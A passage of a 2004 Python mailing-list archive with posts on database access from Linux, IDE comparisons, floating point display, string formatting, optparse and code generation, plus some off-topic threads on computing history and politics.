MS SQL from Linux? References: Message-ID: <002501c4a14b$77fe4c30$7f00a8c0@scl01.siliconcreation.com> Hi Tim, Thanks for the pointer, I just tried freetds with sybase python, I can use tsql to connect to MS SQL but the python library failed : Sybase.DatabaseError: Msg 2, Level 5701, Line 1851877443 I am using MSSQL 2000 server, is this a problem? Thanks! - Joe ----- Original Message ----- From: "Tim Golden" To: "'Joe Wong'" ; Sent: Thursday, September 23, 2004 4:23 PM Subject: RE: Access to MS SQL from Linux? > [Joe Wong] > > > Hi, > > > Is there any Python library for accessing MS SQL server > > from a Linux machine? Either open source or commerical one will do for me. > > (Assuming you have FreeTDS installed: http://www.freetds.org/): > > http://www.object-craft.com.au/projects/mssql/ > > or > > http://www.object-craft.com.au/projects/sybase/ > > will both do the trick. > > Or if you have ODBC: > > mxODBC: http://www.egenix.com/files/python/mxODBC.html > > TJG > > ________________________________________________________________________ > This e-mail has been scanned for all viruses by Star. The > service is powered by MessageLabs. For more information on a proactive > anti-virus service working around the clock, around the globe, visit: > http://www.star.net.uk > ________________________________________________________________________ > --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.768 / Virus Database: 515 - Release Date: 2004/9/22 From gerrit at nl.linux.org Mon Sep 20 03:20:27 2004 From: gerrit at nl.linux.org (Gerrit) Date: Mon, 20 Sep 2004 09:20:27 +0200 Subject: python is going to die! =( In-Reply-To: References: Message-ID: <20040920072027.GA2939@nl.linux.org> Rene Pijlman wrote: > Abe Mathews: > >the fact that there isn't a good IDE available > > I use WingIDE, and I don't know what I'm missing. It just works for the > occasional debugging, and what else is there? What does an IDE really do beyond editing + debugging? Because of Python's dynamic nature, I've never needed a debugger, print statements always worked perfectly. As for editing, well, I like Vim. regards, Gerrit. -- Weather in Twenthe, Netherlands 20/09 08:55: 13.0?C Few clouds mostly cloudy wind 5.8 m/s SSW (57 m above NAP) -- Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL. Experiences with Asperger's Syndrome: EN http://topjaklont.student.utwente.nl/english/ NL http://topjaklont.student.utwente.nl/ From rupole at hotmail.com Tue Sep 7 00:05:21 2004 From: rupole at hotmail.com (Roger Upole) Date: Tue, 7 Sep 2004 00:05:21 -0400 Subject: Win32/Console - subclass using Python ? References: <282f826a.0409061626.16567378@posting.google.com> Message-ID: <413d31e3$1_2@127.0.0.1> http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/console_functions.asp There's a Console module for Windows at http://www.effbot.org/zone/console-index.htm that might do what you need. hth Roger "Richard Shea" wrote in message news:282f826a.0409061626.16567378 at posting.google.com... > Hi - I wondered if anyone had done this before and could provide some > suggestions ? I'm interested in supplying extra functionality to a > Win32 Console (cmd.exe) - full description below for those interested. > I would do this using Python. > > I'm having difficulty finding anything about Console based programming > via MSDN - I just wondered if anyone had done anything like this or > alternatively knew where the part of the Win32 API which deals with > Console interaction is on MSDN ? I've found > http://support.microsoft.com/default.aspx?scid=kb;en-us;104094 but > that's about it so far. > > FULL DESCRIPTION > ================ > I use the Oracle client SQLPLUS a lot via a Win 32 console. There are > some aspect s of this experience which would bear improvement. > > I'm interested in producing a 'super' cmd.exe which would 'help' > SQLPLUS do its thing. I'm thinking for instance of auto-completion of > table names, smart help etc. That's a big topic but just for starters > I would like to be able to create my own 'super cmd.exe' > > regards > > Richard Shea From firstname at lastname.pr1v.n0 Mon Sep 6 12:56:33 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Mon, 6 Sep 2004 18:56:33 +0200 Subject: Xah Lee's Unixism References: <413af268$0$19706$61fed72c@news.rcn.com> <413c5b9c$0$19705$61fed72c@news.rcn.com> Message-ID: <1s4ihc.4i4.ln@via.reistad.priv.no> In article <413c5b9c$0$19705$61fed72c at news.rcn.com>, wrote: >In article , > Morten Reistad wrote: >>In article <413af268$0$19706$61fed72c at news.rcn.com>, >> wrote: >>>In article <20040904.2231.57679snz at dsl.co.uk>, >>> bhk at dsl.co.uk (Brian {Hamilton Kelly}) wrote: >>>>On Thursday, in article >>>> <41371e5c$0$19723$61fed72c at news.rcn.com> jmfbahciv at aol.com >>>> wrote: >>VMS was too early, and was made too politically correct. >> >>TCP/IP was NOT politically correct until around 1996 or so. >>TPTB wanted OSI, GOSIP/Decnet Phase 5 and all that crud, until we >>Internet people hammered them. >> >>>>Indeed, it took many years before DEC [sorry, by then it was already >>>>d|i|g|i|t|a|l] had a TCP/IP stack available for VMS --- the dreaded heap >>>>of quivering jelly created by the Eunice idiots. >>>> >>>>Before that, people who needed TCP/IP on a Vax used various third-party >>>>solutions, such as the implementations from Carnegie-Mellon (CMU) >>> >>>Sigh! If CMU had it, I would have assumed it got hornshoed into >>>VMS. >> >>Wrong mindset. TCP/IP was never a DEC invention, much less a D I G I T A L >>one. > >It didn't have to be a DEC invention. If it was CMU, we got it >shoved down our throats and up our asses. However, I see >that the dates explain why TCP/IP didn't get into VMS. >Apparently the protocol got good after Gordon Bell left DEC. 1995 was the year everyone and Bill Gates discovered the Internet existed; and wanted in on the deal. Suddenly everyone needed Internet solutions. >Since TCP/IP was in the 90s, I couldn't have heard about it >over the wall (I think I stopped working in 1987). I could >swear that cybercurd meant something. > >ISTR, the -20 types yakking about it. TCP/IP was launched in 1982, and the Internet (or the Arpanet, rather) converted Jan 1st 1983; with final NCP service turned off everywhere by mid march 1983. Tops20 has an IP package; but it was pretty rudimentary in version 4, and not quite complete even by those standards even in version 7. .. mrr From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Sun Sep 26 04:38:04 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Sun, 26 Sep 2004 09:38:04 +0100 Subject: floating point glitch In-Reply-To: References: <415295E6.9040602@ericsson.com> Message-ID: Tim Roberts wrote: >>>>>a=[66.6, 333, 333, 1, 1234.5] >>>>>print a.count(333), a.count(66.6), a.count('x') >> >>2 1 0 >> >>>>>a.append(333) >>>>>print a >> >>[66.599999999999994, 333, 333, 1, 1234.5, 333] > > This is a FAQ. The short answer is that 66.6 cannot be represented exactly > in binary. It is an infinitely repeating fraction. (1234.5 is not, which > is why the same thing didn't happen to it.) > > When you use print, it calls repr() to get the string representation. Actually, print essentialy uses str() to get the string representation. But repr(list) or str(list) still gets the repr() of each item of the list rather than the str(): >>> class TestObject(object): ... def __str__(self): ... return "" ... def __repr__(self): ... return "" ... >>> t = TestObject() >>> str(t) '' >>> repr(t) '' >>> print t >>> t >>> l = [TestObject()] >>> str(l) '[]' >>> repr(l) '[]' >>> print l [] >>> l [] One way around this is to call str for each item yourself: >>> "[%s]" % ", ".join(map(str, l)) '[]' You could also define a list subclass that does this for you. -- Michael Hoffman From mattjensen at timetospare.net Sun Sep 5 00:15:11 2004 From: mattjensen at timetospare.net (Matthew K Jensen) Date: 4 Sep 2004 21:15:11 -0700 Subject: Help req: py2exe's compiled executables only working with XP References: <173c23bb.0408282105.4cd76e07@posting.google.com> <153fa67.0408290602.10b80c47@posting.google.com> <173c23bb.0409011956.56aa222d@posting.google.com> <173c23bb.0409022140.5cda71a8@posting.google.com> Message-ID: <173c23bb.0409042015.3f45ca64@posting.google.com> mattjensen at timetospare.net (Matthew K Jensen) wrote in message news:<173c23bb.0409022140.5cda71a8 at posting.google.com>... > JanC wrote in message news:... > > Matthew K Jensen schreef: > > > > > I guess I should describe the problem more. When I go to execute, > > > nothing visibly happens. > > > > Did you try running them from a console (cmd.exe or command.com)? > > Yes, same problem. Is there any reason for these executables to be acting this way? From danperl at rogers.com Tue Sep 28 09:02:07 2004 From: danperl at rogers.com (Dan Perl) Date: Tue, 28 Sep 2004 09:02:07 -0400 Subject: "False exceptions?" (was Re: theme of the week: tools References: <41542230.3070808@bellsouth.net> <4157FD67.80404@holdenweb.com> Message-ID: "Marco Aschwanden" wrote in message news:mailman.3996.1096354841.5135.python-list at python.org... > On Mon, 27 Sep 2004 12:04:47 -0400, Dan Perl wrote: > > I myself felt disturbed by your comments on WingIDE. But yes, I do > understand your nagging on "false exceptions" which can be turned off. You > turned it down because of this and because the short trial period (which > can be prolonged with 1 button click)... well, it didn't seem fair towards > the tool. It has its shortcomings but the ones you mention are ridiculous. The 10 day trial period just gave me a bad first impression and the explanations for the false positives just left me with a bad taste. I gave up on Wing because of the false positives (their simple existence, even without the explanations) and the lack of a class browser. I encountered the false positives first and I almost gave up right there. But it was just the first day and I thought I should look more. Like you say, I wanted to be fair. When I found that the class browser is not supported in the Personal edition I threw my arms in the air. To be fair again to Wing, I gave up on it based on the false positives before finding out that I could have switched to another debug mode. But that's their fault too because the widget that came up with the false positive just says you can ignore the exception and then there was something else just praising the tool, but there was no mention of the different debug modes. I found that option only once I searched the manual. Maybe it's just me, but I'm not reading the manuals when I'm trying out several tools. My "nagging" on the false positives is mostly on the spin that Wingware puts in their explanations. It's one thing to explain it the way that Stephan did, that it was better to offer something imperfect if that was also providing some important advantages and then also offer the other alternative ("We weighed having a necessarily imperfect but useful feature with not having the feature at all."). And it's another thing to insist that this is not a problem and it is actually good for you. This doesn't seem to bother other people as much as it bothered me, but I do have a beef with it. I'm curious to know what disturbed you in my comments. > It beats Komodo 3.01 in some aspect: > - it shines when it comes to auto-completion. No need to feed some > "intelligent database" for each and every file you introduce like in > Komodo (first crash while building the database). > - in my case it works seamlessly with wxPython. Komodo crashed constantly. > Auto-completion with wxPython did never work (tried on 2 machines) > - WingIDE is much more robust although beta than Komodo, which crashed > about 5 times during 3h of work (Win2K; about 20 times because of wxPython > are not taken into account). WingIDE does not crash since around patch 3 > (we are now at patch 8). > > > So I would say: > > Use Komodo if you: > - are programming as well in other languages that Komodo supports (PHP, > Perl, Python, HTML, ...) > - need built-in cvs access > - can live with an IDE that crashes from time to time > > Use Wingware if you: > - need a good "intelligent" auto-completion even for wxPython, pyQt, ... > - need an extensible IDE (you may in future add your own tools easily) > - need an IDE that focusses on Python and that tries to do the best on > this single language > - can live with an IDE that does not look as polished as Komodo > > This comparison is not perfect. But you may realize that I turned it down > for it constantly crashing on me (which might be a problem of me and my 2 > machines) and the useless auto-completion (constantly feeding the > database; does not work with wxPython). Those 2 points were in my case the > show stopper. Sad, because the idea behind Komodo is just great, the looks > is fantastic... I will give it another chance with 4.0... I used Komodo for about a month and it never crashed. As a matter of fact, when the license expired, I let it run for several days and then I just had to reboot my machine for other reasons (I am using Win XP, BTW). And I have used it with wxPython already, although probably not as extensively as you have. I actually prefer the auto-completion in Komodo. Yes, it doesn't always work because sometimes it has to learn first, but on the other hand I felt that Wing tries to do too much. I don't need auto-completion for every little name that I'm using and Wing's auto-completion was rather annoying me even after I adjusted the pause period. I didn't find any option to disable auto-completion selectively for things like locals. I also didn't see a function usage showing up in Wing the way I am getting it in Komodo (and I want that), but maybe that was a preference that I had to turn on and I didn't know about it. I later saw something similar in a screen shot but maybe that's also not in Wing's Personal edition. So your 2 show stoppers do not apply for me. As for your other arguments, I am using Komodo only for Python and not for any other languages and I am using winCvs for CVS access. Still, during one month of use (more than a month now), Komodo satisfied all my needs. > Happy wing user, > Marco > > > > > From aleaxit at yahoo.com Sun Sep 26 16:13:10 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 26 Sep 2004 22:13:10 +0200 Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> <7xfz5ein0h.fsf@ruckus.brouhaha.com> <1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com> Message-ID: <1gkqqmt.ng7g3h14zievbN%aleaxit@yahoo.com> Richard Hanson wrote: ... > (Alex mentioned you have a Fujitsu LifeBook -- I do, too, and like it > very much!) There are many 'series' of such "Lifebooks" nowadays -- it's become as un-descriptive as Sony's "Vaio" brand or IBM's "Thinkpad". Anna's is a P-Series -- 10.5" wide-form screen, incredibly tiny, light, VERY long-lasting batteries. It was the _only_ non-Apple computer around at the local MacDay (I'm a Mac fan, and she attended too, to keep an eye on me I suspect...;-), yet it got nothing but admiring "ooh!"s from the crowd of design-obsessed Machies (Apple doesn't make any laptop smaller than 12", sigh...). OBCLPY: Python runs just as wonderfully on her tiny P-Series as on my iBook, even though only Apple uses it within the OS itself;-) Alex From nem at nowhere.invalid Mon Sep 6 05:12:29 2004 From: nem at nowhere.invalid (Nemesis) Date: 6 Sep 2004 09:12:29 GMT Subject: open default MUA with a hyper link References: Message-ID: "Jp Calderone" wrote: [opening the default MUA] > webbrowser.open("mailto:exarkun at divmod.com") gives me a mozilla > browser and a mozilla compose window. I don't know of an existing way > to do better than that. How can I use this syntax in order to specify also the body of the mail? -- XPN :: http://xpn.altervista.org From hat at se-126.se.wtb.tue.nl Wed Sep 8 11:30:57 2004 From: hat at se-126.se.wtb.tue.nl (Albert Hofkamp) Date: Wed, 8 Sep 2004 15:30:57 +0000 (UTC) Subject: Using Python to generate code? References: Message-ID: On 7 Sep 2004 23:51:38 -0700, Tran Tuan Anh wrote: > Right now, the generator program is written in C++. And I feel not so > comfortable with C++. I feel C++ is an overkill. Because, I need to > generate some code, hence in the program there are a lot of something > like this: > > printf(out, "for (%s = 1, %s < %s, %s < %s )", varName, varName, > varName1, varname, varName2); > > It is just too messy if I have more than 20 lines like this. Agreed, reached that same conclusion. Therefore, I switched to something like output="""for ($VAR = 1, $VAR < $START, $VAR < $END)""" output=string.replace(output,"$VAR",varName) output=string.replace(output,"$START",varName1) output=string.replace(output,"$END",varName2) Obviously, this can be enhanced. (use other conventions than $identifier, and performing the substitution in a loop). BTW: I am not sure string.replace works OK as shown here. In a sense, I am using the string replacement to substitute variables names thus making my own text templating system. > 1. Can Python help to solve this issue? yep. > 2. Does Python has a parser? It seems to me that there is no-standard yes, several. I have good experiences with spark. you have to be careful what you enter, and it is not fast, but it can handle just about any grammar you can think of. > P/S: Also because it is NO big code generator, it only needs to > generate some simple codes. Hence, using some abstract-syntax-tree > library is also too an overkill. Anything small, simple, and beautiful grows ...... :-) Albert -- Unlike popular belief, the .doc format is not an open publically available format. From ndbecker2 at verizon.net Thu Sep 16 07:16:24 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Thu, 16 Sep 2004 07:16:24 -0400 Subject: suggestion for optparse Message-ID: optparse is great. I have one small suggestion for an improvement. optparse supports boolean switches, with action=store_false/store_true. It would be handy if one specification would automatically add both positive and negative forms. For example: parser.add_option ("", "--limit", action="store_toggle", dest="doLimit", default=True) might add both --limit and --no-limit From mauriceling at acm.org Mon Sep 6 00:22:27 2004 From: mauriceling at acm.org (Maurice LING) Date: Mon, 06 Sep 2004 04:22:27 GMT Subject: compiling to python byte codes In-Reply-To: References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> <4137bf73$1@news.unimelb.edu.au> <4137e739$1@news.unimelb.edu.au> <4137f79f$1@news.unimelb.edu.au> <4138207f$0$182$9b622d9e@news.freenet.de> <413b9f57$1@news.unimelb.edu.au> Message-ID: <413be5fc$1@news.unimelb.edu.au> > I'm not sure if you feel I'm treating you as an idiot, or if you mean that > literally. Regardless, it isn't my intent. It is challenging because we > end up unable to share vocabulary. > Figurative speech intended here. I wish to maintain the thought that python users are helpful. :) > > It implements a simple calculator interpreter. It is an "interpreter" > because as it encounters the input, it is dynamically executing it. A > "compiler" would actually just store it as a tree, then later output it > into some other format without execution, which is what a C++ compiler > does, outputting the opcodes for the CPU. I'm looking at generating either python source or MA (intermediate representation in assembly-like form) on the fly (as the lines are being interpreted). The design of MA (2-operands code) works pretty much like functions themselves, as in, each "opcode" can be represented by a function in python (or any other language, I presume) and the "operands" are like parameters. When MA was thought of, it was meant to target to Java, but I suppose it is possible to target to python. So I think the "MA virtual machine" is like a python library. > > Because of that extra step in the middle, "building a tree", a compiler is > typically harder to write than an interpreter. Getting the output right > can also be tricky, and a challenge to debug. I can see this coming. It may be tricky to isolate the error to tree-building or the test codes. From bm at acm.org Tue Sep 14 09:37:25 2004 From: bm at acm.org (Bulent Murtezaoglu) Date: Tue, 14 Sep 2004 16:37:25 +0300 Subject: Xah Lee's Unixism References: <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <1549.748T655T9283520@kltpzyxm.invalid> <3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com> <4141c830$0$65574$a1866201@newsreader.visi.com> <4146dc2f$0$2665$61fed72c@news.rcn.com> Message-ID: <87brg96kfe.fsf@p4.internal> Soo, another lisper cannot resist the temptation. >>>>> "GM" == Greg Menke writes: [...] GM> They're pretty convinced of that already- after all Dubya GM> called this a crusade from day 1. [...] In all fairness I think that was plain dumbness in use of langauge. He didn't mean a crusade in the historic sense. Even if he thinks it, that was nothing more than an unfortunate choice of words. I am 99% sure of this as I vividly remeber my jaw dropping when I saw him say it in the window to the left of the one I was reading this very newsgroup in. The men in that family are not good public speakers and they seem to have trouble expressing themselves to reporters. I see no malice in that. [...] GM> I'm not vastly fond of Dubya Sr., but I think he did the right GM> things in Iraq; he was a better president than his son in all GM> respects. He was, but the Iraq thing wasn't done right back then either. Of course it is easy to say this with hindsight, but saving a shiekdom and a kingdom while ending up in a position where you cross your fingers that Saddam supresses uprisings w/o too much visible carnage is not a good outcome. Maintaining a state of embargo against, as it turned out, the people of Iraq indefinitely was not a good option either. It is one of those cases where it's pretty clear that any obvious option is not good, but it is not clear what the right thing to do is. Had it been possible to leave the region alone after (or indeed during) WW-I, some reasonably stable state of affairs might have emerged. Actually, this is not unlike the Balkans. There, oil was not in the equation but once Tito was gone, things that should have happened between the Balkan wars and maybe 1950's ended up happening in the 90s with much bloodshed and no clean ending (think Kosovo). Presumably the people who get elected to positions of power are called leaders because they are supposed to have better ideas and visions on these things than us geeks do. That has clearly not been the case so far. 9/11 seems to have gotten rid of any chance of sane action by the US in the region, anyway. So basically the problem is no longer how the civilized and reasonably free world will exert its influence in the middle east, but how the world can try to influence the lone superpower so it doesn't do too much damage to itself and the rest of the world. Now that, I suspect, could have been prevented had the influential people in the states (be it the press, the congress, whatever) showed some backbone. cheers, BM From fredrik at pythonware.com Sun Sep 19 16:18:59 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 19 Sep 2004 22:18:59 +0200 Subject: Formatting numbers with leading zeros References: <71f6c60f.0409191159.5f9040bb@posting.google.com> Message-ID: "Stian" wrote: > Hi, I'm sort of new to Python and I've just discovered the amazing > formatting using the % operator. One thing I can't figure out is how > to format numbers so that they get leading zeros, for example I want > the output 1x01 instead of 1x1 (used in naming my avi files of shows). > I've used this so far: > > print '%sx%s'%(season,episode) > > which gives the output 1x1, but I want 1x01 =p Any way to format it > using the % method? assuming that season and episode are integers: print "%dx%02d" % (season, episode) (if not, use int() to convert from strings to integers) more info here: http://docs.python.org/lib/typesseq-strings.html From m.a.r.k at gmx.de Sun Sep 19 12:53:41 2004 From: m.a.r.k at gmx.de (Markus) Date: Sun, 19 Sep 2004 18:53:41 +0200 Subject: Need to create a soft link to a file Message-ID: Hello, I'm running on Mac OS X and need to create a soft link to a file. I tried both makealias() and link(). While makealias creates a Finder alias just fine my application that needs to read the reference file doesn't like this. link() produces 1) a hard link and b) gives me the following error: OSError: [Errno 45] Operation not supported I guess what I'm looking for is a way to call the Unix ln command from within my python program. How would I do this? Thanks, Mark From steveo at eircom.net Thu Sep 9 17:26:53 2004 From: steveo at eircom.net (Steve O'Hara-Smith) Date: Thu, 9 Sep 2004 22:26:53 +0100 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <20040904.0140.57670snz@dsl.co.uk> <769.746T1245T5844062@kltpzyxm.invalid> <413f049f$0$6914$61fed72c@news.rcn.com> <20040908192913.67c07e7d.steveo@eircom.net> <41406a6d$0$6912$61fed72c@news.rcn.com> Message-ID: <20040909222653.7d9b5436.steveo@eircom.net> On Thu, 09 Sep 2004 17:21:15 GMT Nick Landsberg wrote: > jmfbahciv at aol.com wrote: > > > In article <20040908192913.67c07e7d.steveo at eircom.net>, > > Steve O'Hara-Smith wrote: > > > >> The Yahoo! server farm ran to very long uptimes last time I had > >>any details. The reason being that they commission a machine, add it to > >>the farm and leave it running until it is replaced two or three years > >>later. > > > > Sure. But regular users of such computing services never get an > > uptime report. Hell, they have no idea how many systems their > > own webbit has used, let alone all the code that was executed > > to paint that pretty picture on their TTY screen. > > > > I bet, if we start asking, we might even get some bizarre > > definitions of uptime. > > Well, there are lies, damn lies and statistics, don't > you know? :) > > I have absolutely no idea of the size of Yahoo's "server > farm," but let's assume that it's roughly 100 servers > to make the arithmetic easier. Let's further assume > that the MTBF (Mean Time Between Failure) is roughly > 2000 hours (about 3 months, or about 90 days). > > Given these numbers (which are not real, I remind you, > just made up), it is likely that on any given day > one of those servers suffers some kind of failure. > However, one can argue, quite legitimately, that > the service which Yahoo! provides is still "up and > running." 1% of the users may not be able to access > their mail for a few hours, for example, but the Yahoo! is > still running. Erm in this case the farm is a search engine service, if one of the machines goes down then the searching gets a bit slower for everyone. At any rate the report from inside Yahoo! was that they considered it normal for a machine to run uninterrupted for a couple of years and then get replaced. > > I do know that the defintion of CPU runtime is disappearing. > > > > Not everywhere, Steve. There are still shops That's /BAH you're responding to there :) -- C:>WIN | Directable Mirror Arrays The computer obeys and wins. | A better way to focus the sun You lose and Bill collects. | licences available see | http://www.sohara.org/ From max at alcyone.com Thu Sep 2 18:53:38 2004 From: max at alcyone.com (Erik Max Francis) Date: Thu, 02 Sep 2004 15:53:38 -0700 Subject: Check existence of members/methods References: Message-ID: <4137A472.CDB62E4D@alcyone.com> Nicolas Fleury wrote: > But it puts code in strings, which I feel less natural. What do you > think about it? Have I miss a better solution or is there something > for > that in the language? Try hasattr. -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ There is nothing so subject to the inconstancy of fortune as war. -- Miguel de Cervantes From jmfbahciv at aol.com Sat Sep 11 10:24:09 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Sat, 11 Sep 04 14:24:09 GMT Subject: Xah Lee's Unixism References: <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> Message-ID: <41431db5$0$6923$61fed72c@news.rcn.com> In article , "John Thingstad" wrote: There has been a request to [spit] these newsgroups. Where do you read from? I'm over in a.f.c. >On Thu, 09 Sep 04 13:12:17 GMT, wrote: > > >> I really want to know. People keep saying this but never say which >> freedoms have been lost. >> > >Since this is somewhat related to computer programming >and AI I will reply. Thank you. I appreciate the effort. > >The US has started a initiative to integrate all >information about people in the USA into a central database. This is why I'm puzzled. This stuff is nothing new; about the only difference is the detail. > >This includes confidential information like >your medical files. Think what >you say to your psychologist is confidential? It never was confidential. People talk; doctors confer. It was off limits w.r.t. law enforcement but I think that had more to do with not having to testify against yourself. This still is not a freedom; it's a right that is listed. > ..Think again. Being paranoid >can be enough to get a "red flag". >They will have access to all your credit records >and will monitor all your >travels in and out of the country. >If you buy flowers on the apposite side of town they can deduce that you >have a lover and >use this as a means of distortion. (Edgar A. Hoover style) > >Initially this was just supposed to be used to monitor terrorist like >behaviour >but now the FBI and CIA are also seeing the power of such a system. Sure. They had that kind of power and were abusing it in the 70s. Both departments got the wings clipped. Because they did get reorg'ed back then, a lot of the work, that they are accused of not doing after 9/11, didn't get done because they weren't allowed to do that work. Now Congress is shifting towards giving them more leeway. I sure as hell hope they remember Hoover and his abuses of power before they suggest putting one guy over it all. > >The main challenge in computing is sieving through the amount of data. >Politically it is to pressure the foreign governments to wave their >privacy protection acts and allow unlimited access to information to a >foreign power. This won't happen. Foreign governments will do whatever is in their best interests as the US should do things in its best interests. > >Don't know what you think of this but it scares the hell out of me! It should. But this isn't a breach of freedom. It is a breach of privacy which can only be protected by each individual, not the government. See, people keep saying freedoms. But I get confused and don't consider these things freedoms. In some very stretched cases, I might consider them rights. /BAH Subtract a hundred and four for e-mail. From tim.golden at viacom-outdoor.co.uk Thu Sep 9 04:10:13 2004 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Thu, 9 Sep 2004 09:10:13 +0100 Subject: List domains on a windows network? Message-ID: [jakasspinguino at hotmail.com] | I'm looking for a way to enumerate the domains within my network. I | can find functions within the win32net library to enumerate computers | within a given domain, but is there a way I can get a list of the | domains themselves? Just in case no-one knows the answer straight off... If you can present the answer from a Win32 perspective (eg by searching MSDN or tech articles and finding someone's non-Python solution) you're more likely to get some help from people who are conversant in Python with Win32 but who've never tackled this particular issue. I suspect the answer will involve Active Directory, assuming your setup uses it. TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From terti at mighty.co.za Wed Sep 8 18:11:26 2004 From: terti at mighty.co.za (terti) Date: Thu, 09 Sep 2004 00:11:26 +0200 Subject: Embedding Python in C DLL In-Reply-To: References: Message-ID: The following site cleared things up for me. http://davidf.sjsoft.com/mirrors/mcmillan-inc/embed.html I changed my Python script to a module with functions rather than a class with methods. With no instantiation needed, things started working better. Regards, Tertius From jeff at ccvcorp.com Fri Sep 24 21:47:46 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Fri, 24 Sep 2004 18:47:46 -0700 Subject: Why not FP for Money? In-Reply-To: References: Message-ID: <10l9je9993jlfa3@corp.supernews.com> Carlos Ribeiro wrote: >A last note: unless dictated by context otherwise, I think that adding >two fixed point numbers should round/truncate to the smallest number >of decimal places, as in: > >12.34d + 10.001d --> 32.34 > > Personally, I think that it makes the most sense (i.e., will result in the fewest surprises) if the greatest possible number of places is preserved. If you truncate decimal places, then you might get this: x = 1.1d for _ in range(5): x += 0.02d print x ----> 1.1d Each addition of 0.02 to 1.1 yields 1.12, which is truncated back to 1.1, which leaves us in the same place that integer division did. I think it's pretty clear that this *should* produce 1.2. In order to do that, you need to preserve the largest number of decimal places. But it's even more delicate than that -- does 0.3d / 2 result in 0.1d, 0.2d, or 0.15d ? Anything other than the last will surprise people, but allowing the number of decimal places to grow implicitly is surprising in other circumstances. I'd suspect that all of this would need to be configurable by context, but I'd suggest that the default should be to use as many decimal places as are necessary to preserve precision (i.e., 0.3d / 2 --> 0.15d), up to some (reasonably large) maximum number of places. (That maximum would be configurable, too.) Jeff Shannon Technician/Programmer Credit International From fakeaddress at nowhere.org Sat Sep 18 12:31:22 2004 From: fakeaddress at nowhere.org (Bryan Olson) Date: Sat, 18 Sep 2004 16:31:22 GMT Subject: Microthreads without Stackless? In-Reply-To: <414c1f4b$0$82251$ed2619ec@ptn-nntp-reader03.plus.net> References: <18282ecb.0409120634.5ba044ee@posting.google.com> <18282ecb.0409151755.47b691e2@posting.google.com> <8cf9f521.0409162213.105d321e@posting.google.com> <8cf9f521.0409171009.142a3fcd@posting.google.com> <414c1f4b$0$82251$ed2619ec@ptn-nntp-reader03.plus.net> Message-ID: Michael Sparks wrote: > I'm genuinely curious as to the answer to the > question I posed you - even/especially if it is "no, greenlets aren't > what I'm after" and why. Including for example practical rather than > technical reasons - after all as far as I'm aware there isn't a > standalone package, and I've no idea if Armin Rigo intends to support > it as such. As far as I've looked into Greenlets, I'd be happy with them if they were in the standard Python distribution. I face the same resistance others do in getting Python (or any language other than C/C++, Java or a Microsoft product) into projects. Each additional item to instal hurts my chances, plus I have to support it. I mostly support Windows, where Python version changes of 0.1 or greater break extensions. Finally, I think I understand the kind of stack-conjuring required to make coroutines work, and it's well outside standard Python's documented extension API. I've been burned on that kind of thing before. -- --Bryan From brenNOSPAMbarn at NObrenSPAMbarn.net Sat Sep 25 15:47:59 2004 From: brenNOSPAMbarn at NObrenSPAMbarn.net (OKB (not okblacke)) Date: 25 Sep 2004 19:47:59 GMT Subject: up with PyGUI! References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> <864d3709040924070115d9d98a@mail.gmail.com> Message-ID: Ed Leafe wrote: > There is also nothing to prevent you from writing that button as a > class definition (although I have a personal dislike of a 'class' > being used for an instance). Something like: > > class MainForm(dabo.ui.dForm): > def __init__(self, parent=None): > class btn1(ButtonDescription): > Size = (40, 40) > Caption = "b1" > self.addObject(btn1, "b1") > > To my eye, that's a lot uglier than writing it as it is: > instance > coding. Dressing it up as a class in order to save typing 'self' > isn't justified, IMO. Well, I see what you mean, but conversely, even in the example you gave above, it seems to me that the "def __init__" is (or should be) superfluous. The very fact that you are defining a button inside a panel clearly indicates that you want the button to be added to the panel. Restating this information repeatedly with an __init__ and self references and explicit "add" methods is cumbersome. Admittedly, the need to use the word "class" is unfortunate, but I prefer to simply ignore that little keyword in the definition. That is, what about this: frame: panel: button1: caption = "One" button2: caption = "Two" I think the indentation here clearly indicates the intended nesting structure of the GUI layout. Python requires me to use the word "class" before each component to get a valid syntactical construct, but I find it much easier to put single keyword ahead of each GUI object definition than to wade through a series of method definitions to extract information about how the components are structured inside one another. -- --OKB (not okblacke) Brendan Barnwell "Do not follow where the path may lead. Go, instead, where there is no path, and leave a trail." --author unknown From adalke at mindspring.com Thu Sep 23 16:14:46 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Thu, 23 